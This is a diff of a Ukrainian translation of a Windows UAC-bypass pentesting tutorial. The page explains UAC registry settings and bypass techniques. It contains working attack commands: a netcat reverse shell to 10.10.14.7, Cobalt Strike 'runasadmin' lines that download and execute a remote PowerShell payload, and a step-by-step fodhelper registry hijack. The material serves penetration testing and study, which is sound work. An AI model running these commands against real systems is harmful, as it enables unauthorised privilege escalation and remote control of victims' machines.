Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Enabled | +| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Enabled | +| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Enabled | ### UAC Bypass Theory -Деякі програми **автоматично підвищуються**, якщо **користувач належить** до **групи адміністраторів**. Ці бінарні файли мають у своїх _**Manifests**_ опцію _**autoElevate**_ зі значенням _**True**_. Бінарний файл також має бути **підписаним Microsoft**. +Деякі програми **автопідвищуються автоматично** якщо **користувач належить** до групи **administrators**. Такі бінарні файли у своїх _**Manifests**_ мають опцію _**autoElevate**_ зі значенням _**True**_. Також бінарник має бути **підписаний Microsoft**. -Багато процесів з автоматичним підвищенням надають **функціональність через COM об'єкти або RPC сервери**, які можуть бути викликані з процесів, що виконуються з середнім рівнем цілісності (привілеї звичайного користувача). Зверніть увагу, що COM (Component Object Model) і RPC (Remote Procedure Call) - це методи, які програми Windows використовують для спілкування та виконання функцій між різними процесами. Наприклад, **`IFileOperation COM object`** призначений для обробки операцій з файлами (копіювання, видалення, переміщення) і може автоматично підвищувати привілеї без запиту. +Багато процесів з авто-підвищенням надають **функціональність через COM-об'єкти або RPC-сервери**, які можуть бути викликані з процесів, що працюють із medium integrity (привілеї рівня звичайного користувача). Зверніть увагу, що COM (Component Object Model) та RPC (Remote Procedure Call) — це методи, які Windows-програми використовують для взаємодії та виконання функцій між процесами. Наприклад, **`IFileOperation COM object`** призначений для обробки файлових операцій (копіювання, видалення, переміщення) і може автоматично підвищити привілеї без запиту. -Зверніть увагу, що можуть виконуватися деякі перевірки, наприклад, перевірка, чи був процес запущений з **каталогу System32**, що можна обійти, наприклад, **впроваджуючи в explorer.exe** або інший виконуваний файл, розташований у System32. +Зверніть увагу, що можуть виконуватися певні перевірки, наприклад перевірка, чи процес запущено з **System32 directory**, яку можна обійти, наприклад, **інжекцією в explorer.exe** або інший виконуваний файл, що знаходиться в System32. -Інший спосіб обійти ці перевірки - це **модифікувати PEB**. Кожен процес у Windows має Блок середовища процесу (PEB), який містить важливі дані про процес, такі як його шлях до виконуваного файлу. Модифікуючи PEB, зловмисники можуть підробити (spoof) місцезнаходження свого власного шкідливого процесу, змушуючи його здаватися таким, що виконується з довіреного каталогу (наприклад, system32). Ця підроблена інформація обманює COM об'єкт, змушуючи його автоматично підвищувати привілеї без запиту користувача. +Інший спосіб обійти ці перевірки — **змінити PEB**. Кожен процес у Windows має Process Environment Block (PEB), який містить важливі дані про процес, такі як шлях до виконуваного файлу. Змінивши PEB, атакуючі можуть підробити (spoof) місцезнаходження свого шкідливого процесу, змушуючи його виглядати так, ніби він запускається з довіреної директорії (наприклад, system32). Ця підроблена інформація обманює COM-об'єкт, щоб він автоматично підвищив привілеї без запиту. -Тоді, щоб **обійти** **UAC** (підвищити з **середнього** рівня цілісності **до високого**), деякі зловмисники використовують такі бінарні файли для **виконання довільного коду**, оскільки він буде виконуватися з **процесу з високим рівнем цілісності**. +Потім, щоб **обійти UAC** (підвищити з рівня medium integrity до high), деякі зловмисники використовують такі бінарні файли для **виконання довільного коду**, оскільки він буде виконаний із процесу з High level integrity. -Ви можете **перевірити** _**Manifest**_ бінарного файлу, використовуючи інструмент _**sigcheck.exe**_ з Sysinternals. (`sigcheck.exe -m `) І ви можете **переглянути** **рівень цілісності** процесів, використовуючи _Process Explorer_ або _Process Monitor_ (з Sysinternals). +Ви можете **перевірити** _**Manifest**_ бінарного файлу за допомогою інструменту _**sigcheck.exe**_ від Sysinternals. (`sigcheck.exe -m `) Також ви можете **переглянути** рівень integrity процесів за допомогою _Process Explorer_ або _Process Monitor_ (від Sysinternals). ### Check UAC -Щоб підтвердити, чи увімкнено UAC, виконайте: +Щоб підтвердити, чи UAC увімкнено, виконайте: ``` REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System EnableLUA REG_DWORD 0x1 ``` -Якщо це **`1`**, то UAC **активовано**, якщо **`0`** або він **не існує**, то UAC **неактивний**. +Якщо це **`1`**, то UAC **активовано**, якщо це **`0`** або воно **не існує**, то UAC **неактивний**. -Тоді перевірте, **який рівень** налаштовано: +Потім перевірте **який рівень** налаштований: ``` REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System ConsentPromptBehaviorAdmin REG_DWORD 0x5 ``` -- Якщо **`0`**, тоді UAC не запитуватиме (як **вимкнено**) -- Якщо **`1`**, адміністратора **питають про ім'я користувача та пароль** для виконання бінарного файлу з високими правами (на Secure Desktop) -- Якщо **`2`** (**Завжди повідомляти мене**) UAC завжди запитуватиме підтвердження у адміністратора, коли він намагається виконати щось з високими привілеями (на Secure Desktop) -- Якщо **`3`**, як `1`, але не обов'язково на Secure Desktop -- Якщо **`4`**, як `2`, але не обов'язково на Secure Desktop -- Якщо **`5`**(**за замовчуванням**), він запитає у адміністратора підтвердження для запуску не Windows бінарних файлів з високими привілеями +- Якщо **`0`**, то UAC не буде запитувати підтвердження (як **відключено**) +- Якщо **`1`**, у адміністратора запитують ім'я користувача та пароль для запуску бінарного файлу з підвищеними правами (на Secure Desktop) +- Якщо **`2`** (**Завжди сповіщати мене**) UAC завжди вимагатиме підтвердження від адміністратора, коли він намагається виконати щось з високими привілеями (на Secure Desktop) +- Якщо **`3`** — як `1`, але не обов'язково на Secure Desktop +- Якщо **`4`** — як `2`, але не обов'язково на Secure Desktop +- Якщо **`5`** (значення за замовчуванням) — буде просити адміністратора підтвердити запуск non-Windows binaries з підвищеними правами -Тоді вам потрібно звернути увагу на значення **`LocalAccountTokenFilterPolicy`**\ -Якщо значення **`0`**, тоді лише користувач **RID 500** (**вбудований адміністратор**) може виконувати **адміністративні завдання без UAC**, а якщо `1`, **всі облікові записи в групі "Адміністратори"** можуть це робити. +Далі слід поглянути на значення **`LocalAccountTokenFilterPolicy`**\ +Якщо значення **`0`**, то лише користувач з **RID 500** (**built-in Administrator**) може виконувати **admin tasks without UAC**, а якщо **`1`**, **всі акаунти в групі "Administrators"** можуть це робити. -І, нарешті, зверніть увагу на значення ключа **`FilterAdministratorToken`**\ -Якщо **`0`**(за замовчуванням), **вбудований обліковий запис адміністратора може** виконувати віддалені адміністративні завдання, а якщо **`1`**, вбудований обліковий запис адміністратора **не може** виконувати віддалені адміністративні завдання, якщо `LocalAccountTokenFilterPolicy` не встановлено на `1`. +І, нарешті, подивіться значення ключа **`FilterAdministratorToken`**\ +Якщо **`0`** (за замовчуванням), **built-in Administrator account** може виконувати завдання віддаленого адміністрування, а якщо **`1`**, вбудований обліковий запис Administrator **не може** виконувати віддалене адміністрування, якщо тільки `LocalAccountTokenFilterPolicy` не встановлено в `1`. -#### Резюме +#### Summary -- Якщо `EnableLUA=0` або **не існує**, **немає UAC для нікого** -- Якщо `EnableLua=1` і **`LocalAccountTokenFilterPolicy=1`, немає UAC для нікого** -- Якщо `EnableLua=1` і **`LocalAccountTokenFilterPolicy=0` і `FilterAdministratorToken=0`, немає UAC для RID 500 (вбудований адміністратор)** -- Якщо `EnableLua=1` і **`LocalAccountTokenFilterPolicy=0` і `FilterAdministratorToken=1`, UAC для всіх** +- Якщо `EnableLUA=0` або **не існує**, **UAC відсутній для всіх** +- Якщо `EnableLua=1` і **`LocalAccountTokenFilterPolicy=1`**, **UAC відсутній для всіх** +- Якщо `EnableLua=1` і **`LocalAccountTokenFilterPolicy=0` та `FilterAdministratorToken=0`**, **UAC відсутній для RID 500 (Built-in Administrator)** +- Якщо `EnableLua=1` і **`LocalAccountTokenFilterPolicy=0` та `FilterAdministratorToken=1`**, **UAC для всіх** -Вся ця інформація може бути зібрана за допомогою модуля **metasploit**: `post/windows/gather/win_privs` +Всю цю інформацію можна зібрати за допомогою модуля **metasploit**: `post/windows/gather/win_privs` -Ви також можете перевірити групи вашого користувача та отримати рівень цілісності: +Також ви можете перевірити групи вашого користувача та отримати рівень цілісності: ``` net user %username% whoami /groups | findstr Level ``` -## UAC обхід +## UAC bypass > [!TIP] -> Зверніть увагу, що якщо у вас є графічний доступ до жертви, обхід UAC є простим, оскільки ви можете просто натиснути "Так", коли з'являється запит UAC. +> Зауважте, що якщо у вас є графічний доступ до жертви, UAC bypass досить простий, оскільки ви можете просто натиснути "Yes", коли з'являється UAC prompt -Обхід UAC потрібен у наступній ситуації: **UAC активовано, ваш процес працює в контексті середньої цілісності, і ваш користувач належить до групи адміністраторів**. +The UAC bypass is needed in the following situation: **UAC увімкнено, ваш процес працює в medium integrity context, і ваш користувач належить до administrators group**. -Важливо зазначити, що **обійти UAC набагато складніше, якщо він на найвищому рівні безпеки (Завжди), ніж якщо він на будь-якому з інших рівнів (За замовчуванням)**. +Важливо зазначити, що **набагато складніше обійти UAC, якщо він знаходиться на найвищому рівні безпеки (Always), ніж коли він знаходиться на будь-якому з інших рівнів (Default).** -### UAC вимкнено +### UAC disabled -Якщо UAC вже вимкнено (`ConsentPromptBehaviorAdmin` є **`0`**), ви можете **виконати зворотний шелл з правами адміністратора** (високий рівень цілісності), використовуючи щось на зразок: +If UAC is already disabled (`ConsentPromptBehaviorAdmin` is **`0`**) you can **execute a reverse shell with admin privileges** (high integrity level) using something like: ```bash #Put your reverse shell instead of "calc.exe" Start-Process powershell -Verb runAs "calc.exe" Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444" ``` -#### UAC обхід з дублікацією токенів +#### UAC bypass with token duplication - [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/) - [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html) -### **Дуже** базовий UAC "обхід" (повний доступ до файлової системи) +### **Дуже** базовий UAC "bypass" (повний доступ до файлової системи) -Якщо у вас є оболонка з користувачем, який є в групі Адміністраторів, ви можете **монтувати C$** спільну папку через SMB (файлова система) локально на новий диск, і ви отримаєте **доступ до всього всередині файлової системи** (навіть до домашньої папки Адміністратора). +Якщо у вас є shell під користувачем, який входить до групи Administrators, ви можете **монтувати шаринг C$** через SMB (файлова система) локально як новий диск і отримаєте **доступ до всього в файловій системі** (навіть до домашньої теки Administrator). > [!WARNING] -> **Схоже, цей трюк більше не працює** +> **Здається, цей трюк більше не працює** ```bash net use Z: \\127.0.0.1\c$ cd C$ @@ -123,9 +124,9 @@ cd C$ #Or you could just access it: dir \\127.0.0.1\c$\Users\Administrator\Desktop ``` -### UAC обхід з Cobalt Strike +### Обхід UAC за допомогою cobalt strike -Техніки Cobalt Strike працюватимуть лише якщо UAC не встановлено на максимальному рівні безпеки. +Техніки Cobalt Strike працюватимуть лише якщо UAC не встановлено на максимальний рівень безпеки. ```bash # UAC bypass via token duplication elevate uac-token-duplication [listener_name] @@ -137,18 +138,18 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj # Bypass UAC with CMSTPLUA COM interface runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))" ``` -**Empire** та **Metasploit** також мають кілька модулів для **обходу** **UAC**. +**Empire** та **Metasploit** також мають кілька модулів для **bypass** **UAC**. ### KRBUACBypass -Документація та інструмент у [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass) +Документація та інструмент: [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass) -### Вразливості обходу UAC +### UAC bypass exploits -[**UACME** ](https://github.com/hfiref0x/UACME), що є **компіляцією** кількох вразливостей обходу UAC. Зверніть увагу, що вам потрібно буде **скомпілювати UACME за допомогою visual studio або msbuild**. Компіляція створить кілька виконуваних файлів (як `Source\Akagi\outout\x64\Debug\Akagi.exe`), вам потрібно знати, **який з них вам потрібен.**\ -Вам слід **бути обережними**, оскільки деякі обходи можуть **викликати інші програми**, які **попередять** **користувача** про те, що щось відбувається. +[**UACME** ](https://github.com/hfiref0x/UACME) який є **збіркою** кількох UAC bypass exploits. Зауважте, що вам потрібно **compile UACME using visual studio or msbuild**. Компіляція створить кілька виконуваних файлів (наприклад `Source\Akagi\outout\x64\Debug\Akagi.exe`), вам потрібно буде знати **який саме вам потрібен.**\ +Ви повинні **бути обережними**, тому що деякі bypasses можуть **викликати запуск інших програм**, які **повідомлять** **користувача** про те, що щось відбувається. -UACME має **версію збірки, з якої почали працювати кожна техніка**. Ви можете шукати техніку, що впливає на ваші версії: +UACME має **інформацію про версію збірки, з якої кожна техніка почала працювати**. Ви можете шукати техніку, що впливає на вашу версію: ``` PS C:\> [environment]::OSVersion.Version @@ -156,41 +157,79 @@ Major Minor Build Revision ----- ----- ----- -------- 10 0 14393 0 ``` -Також, використовуючи [this](https://en.wikipedia.org/wiki/Windows_10_version_history) сторінку, ви отримуєте версію Windows `1607` з версій збірки. +Також, використовуючи [this](https://en.wikipedia.org/wiki/Windows_10_version_history) сторінку, ви отримуєте випуск Windows `1607` за номерами збірок. -#### Більше обходів UAC +### UAC Bypass – fodhelper.exe (Registry hijack) -**Усі** техніки, що використовуються тут для обходу AUC, **вимагають** **повної інтерактивної оболонки** з жертвою (звичайна оболонка nc.exe не підходить). +Довірений бінарник `fodhelper.exe` автоматично запускається з підвищеними правами в сучасних Windows. Під час запуску він читає наведений нижче пер-юзерський шлях реєстру без перевірки дієслова `DelegateExecute`. Розміщення команди там дозволяє процесу Medium Integrity (користувач належить до Administrators) створити процес High Integrity без UAC prompt. -Ви можете отримати доступ, використовуючи сесію **meterpreter**. Міграція до **процесу**, у якого значення **Session** дорівнює **1**: +Registry path queried by fodhelper: +``` +HKCU\Software\Classes\ms-settings\Shell\Open\command +``` +PowerShell кроки (встановіть свій payload, потім trigger): +```powershell +# Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability +C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition" + +# 1) Create the vulnerable key and values +New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null +New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | Out-Null + +# 2) Set default command to your payload (example: reverse shell or cmd) +# Replace with your base64-encoded PowerShell (or any command) +Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -e " -Force + +# 3) Trigger auto-elevation +Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe" + +# 4) (Recommended) Cleanup +Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force +``` +Notes: +- Працює, коли поточний користувач є членом Administrators і рівень UAC за замовчуванням/лояльний (не Always Notify з додатковими обмеженнями). +- Використовуйте шлях `sysnative` щоб запустити 64-бітний PowerShell з 32-бітного процесу на 64-бітному Windows. +- Payload може бути будь-якою командою (PowerShell, cmd, або шлях до EXE). Уникайте виклику UI, що вимагають підтвердження, для стелсу. + +#### Додаткові UAC bypass + +**All** the techniques used here to bypass AUC **require** a **full interactive shell** with the victim (a common nc.exe shell is not enough). + +You can get using a **meterpreter** session. Migrate to a **process** that has the **Session** value equals to **1**: ![](<../../images/image (863).png>) -(_explorer.exe_ має працювати) +(_explorer.exe_ should works) -### Обхід UAC з GUI +### UAC Bypass with GUI -Якщо у вас є доступ до **GUI, ви можете просто прийняти запит UAC**, коли він з'явиться, вам насправді не потрібен обхід. Отже, отримання доступу до GUI дозволить вам обійти UAC. +If you have access to a **GUI you can just accept the UAC prompt** when you get it, you don't really need a bypass it. So, getting access to a GUI will allow you to bypass the UAC. -Більше того, якщо ви отримали сесію GUI, яку хтось використовував (потенційно через RDP), є **деякі інструменти, які працюватимуть як адміністратор**, з яких ви могли б **запустити** **cmd** наприклад **як адміністратор** без повторного запиту UAC, як [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Це може бути трохи більш **приховано**. +Moreover, if you get a GUI session that someone was using (potentially via RDP) there are **some tools that will be running as administrator** from where you could **run** a **cmd** for example **as admin** directly without being prompted again by UAC like [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). This might be a bit more **stealthy**. -### Гучний брутфорс обхід UAC +### Noisy brute-force UAC bypass -Якщо вам не важливо бути гучним, ви завжди можете **запустити щось на зразок** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin), що **просить підвищити права, поки користувач не прийме це**. +If you don't care about being noisy you could always **run something like** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) that **ask to elevate permissions until the user does accepts it**. -### Ваш власний обхід - Основна методологія обходу UAC +### Your own bypass - Basic UAC bypass methodology -Якщо ви подивитеся на **UACME**, ви помітите, що **більшість обходів UAC зловживають вразливістю Dll Hijacking** (в основному записуючи шкідливий dll у _C:\Windows\System32_). [Прочитайте це, щоб дізнатися, як знайти вразливість Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking/index.html). +If you take a look to **UACME** you will note that **most UAC bypasses abuse a Dll Hijacking vulnerabilit**y (mainly writing the malicious dll on _C:\Windows\System32_). [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html). -1. Знайдіть двійковий файл, який буде **автоелевуватися** (перевірте, що при виконанні він працює на високому рівні цілісності). -2. За допомогою procmon знайдіть події "**NAME NOT FOUND**", які можуть бути вразливими до **DLL Hijacking**. -3. Вам, ймовірно, потрібно буде **записати** DLL у деякі **захищені шляхи** (як C:\Windows\System32), де у вас немає прав на запис. Ви можете обійти це, використовуючи: - 1. **wusa.exe**: Windows 7, 8 і 8.1. Це дозволяє витягувати вміст CAB-файлу в захищені шляхи (оскільки цей інструмент виконується з високим рівнем цілісності). - 2. **IFileOperation**: Windows 10. -4. Підготуйте **скрипт** для копіювання вашої DLL у захищений шлях і виконання вразливого та автоелевованого двійкового файлу. +1. Find a binary that will **autoelevate** (check that when it is executed it runs in a high integrity level). +2. With procmon find "**NAME NOT FOUND**" events that can be vulnerable to **DLL Hijacking**. +3. You probably will need to **write** the DLL inside some **protected paths** (like C:\Windows\System32) were you don't have writing permissions. You can bypass this using: +1. **wusa.exe**: Windows 7,8 and 8.1. It allows to extract the content of a CAB file inside protected paths (because this tool is executed from a high integrity level). +2. **IFileOperation**: Windows 10. +4. Prepare a **script** to copy your DLL inside the protected path and execute the vulnerable and autoelevated binary. -### Інша техніка обходу UAC +### Another UAC bypass technique -Складається з спостереження, чи **автоелевований двійковий файл** намагається **читати** з **реєстру** **ім'я/шлях** **двійкового файлу** або **команди**, що підлягає **виконанню** (це більш цікаво, якщо двійковий файл шукає цю інформацію в **HKCU**). +Consists on watching if an **autoElevated binary** tries to **read** from the **registry** the **name/path** of a **binary** or **command** to be **executed** (this is more interesting if the binary searches this information inside the **HKCU**). + +## References +- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) +- [LOLBAS: Fodhelper.exe](https://lolbas-project.github.io/lolbas/Binaries/Fodhelper/) +- [Microsoft Docs – How User Account Control works](https://learn.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works) +- [UACME – UAC bypass techniques collection](https://github.com/hfiref0x/UACME) {{#include ../../banners/hacktricks-training.md}}